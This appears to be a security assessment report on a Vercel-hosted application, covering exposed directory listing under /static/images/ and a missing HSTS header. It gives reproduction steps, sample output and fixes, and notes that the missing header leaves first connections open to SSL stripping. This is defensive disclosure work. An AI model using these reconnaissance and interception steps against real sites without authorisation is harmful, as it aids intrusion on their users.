The web server hosting [CustomerNameRedacted]'s application at <https://glacier-fury.vercel.app> is configured to allow directory listing for the /static/images/ path. As a result, anyone accessing this URL is presented with an automatically generated index of all files within that directory. This behavior exposes the names and presence of all assets stored in this location, including files that may not be directly linked or intended for public discovery. Such exposure can facilitate reconnaissance by attackers, who may identify sensitive, outdated, or otherwise hidden files that could be leveraged in further attacks or information gathering.

Vulnerability Description

Information Exposure Through Directory Listing (CWE-548) occurs when a web server is configured to allow users to view a list of files and directories within a specific path. Directory listing is typically a feature of web servers that, when enabled, generates an index page displaying all files in a directory if no default file (such as index.html) is present. This can inadvertently reveal sensitive files, backups, or other resources not intended for public access. In the case of [CustomerNameRedacted]'s application, directory listing is enabled for the /static/images/ directory, allowing unauthenticated users to browse and enumerate all files stored there.

Technical Details

During assessment, the security researcher navigated to <https://glacier-fury.vercel.app/static/images/>. Instead of returning a 403 Forbidden error or a default page, the server responded with an HTML page listing all files and subdirectories within /static/images/. This behavior confirms that directory indexing is enabled, likely due to default web server settings or a misconfiguration in the Vercel deployment. The exposure is not limited to files that are linked from the main application; any file present in the directory, including those not referenced elsewhere, is visible to anyone with access to the URL. This increases the risk of sensitive or deprecated files being discovered and potentially exploited.

Proof of Concept

To replicate the issue:

1. Open a web browser or use a tool such as curl to access the following URL: <https://glacier-fury.vercel.app/static/images/>
2. Observe that the server responds with an HTML page listing all files and folders within the /static/images/ directory. For example, the response may include links to image files, backup files, or other assets stored in that location.
3. Clicking on any of the listed files allows direct download or viewing of the asset, regardless of whether it is linked elsewhere on the site.

Sample output:

```
Index of /static/images/  
Parent Directory  
logo.png  
old_backup.jpg
```



```
staging_banner.png  
...
```

This demonstrates that directory listing is enabled and exposes all files within the directory.

Fix Recommendation

Disable Directory Listing: Update the Vercel or web server configuration to prevent directory indexing for all static asset directories. **Add Default Index File:** Place an empty index.html file in the /static/images/ directory to override automatic directory listing if disabling is not possible. **Review Exposed Files:** Audit the contents of the /static/images/ directory to ensure no sensitive or unnecessary files are present.

Missing Security Header (HSTS)

Report ID	VRUSH-EZ3BQO
Severity	Informational
Reported	29.04.2026
Impact	Users are exposed to man-in-the-middle attacks, such as SSL stripping, during their initial connection to the application.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Executive Summary

The web application hosted at [AssetNameRedacted] does not include the HTTP Strict Transport Security (HSTS) header in its HTTPS responses. HSTS is a browser security feature that enforces secure (HTTPS) connections to the server, protecting users from certain types of man-in-the-middle attacks such as SSL stripping. Although the application currently redirects HTTP requests to HTTPS, the absence of HSTS means that an attacker could potentially intercept the initial unencrypted request and prevent the redirect, exposing users to risk. This oversight leaves users vulnerable to attacks that could compromise the confidentiality and integrity of their communications with the application.

Vulnerability Description

HTTP Strict Transport Security (HSTS) is a web security policy mechanism that helps protect websites against man-in-the-middle attacks such as protocol downgrade attacks and cookie hijacking. When a website implements HSTS, it instructs compliant browsers to interact with it only over secure HTTPS connections, never over insecure HTTP. This is achieved by sending the 'Strict-Transport-Security' header in HTTP responses. In the case of [AssetNameRedacted], the application does not send this header, leaving users susceptible to attacks that exploit the initial HTTP connection before any redirect to HTTPS can occur.

Technical Details

A review of the HTTP response headers from [AssetNameRedacted] revealed that the 'Strict-Transport-Security' header is missing from all HTTPS responses. This was confirmed by sending requests to the application and inspecting the returned headers. While the application does redirect HTTP traffic to HTTPS, without HSTS, browsers do not remember to always use HTTPS for future requests. This gap allows attackers on the same network to perform SSL stripping attacks by intercepting the initial HTTP request and preventing the redirect to HTTPS, thereby exposing sensitive data or enabling further attacks.

Proof of Concept

To replicate the issue:

1. Open a browser and clear the HSTS cache for [AssetNameRedacted].
2. Navigate to 'http://[AssetNameRedacted]'.
3. Observe that the browser is redirected to 'https://[AssetNameRedacted]'.
4. Use a network interception tool (such as mitmproxy or Wireshark) to monitor the traffic.
5. Note that the initial request is sent over HTTP and can be intercepted or modified by an attacker before the redirect occurs.
6. Inspect the response headers from the HTTPS endpoint and confirm that the 'Strict-Transport-Security' header is absent.

Example response headers:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
... (other headers) ...
```

```
// Notice: No Strict-Transport-Security header present
```

Fix Recommendation

Implement HSTS Header: Add the 'Strict-Transport-Security' header to all HTTPS responses with a recommended 'max-age' of at least 31536000 seconds (1 year). **Include Subdomains:** Use the 'includeSubDomains' directive if all subdomains support HTTPS to extend protection. **Preload Registration:** Consider submitting the domain to the HSTS preload list for additional protection against initial connection attacks.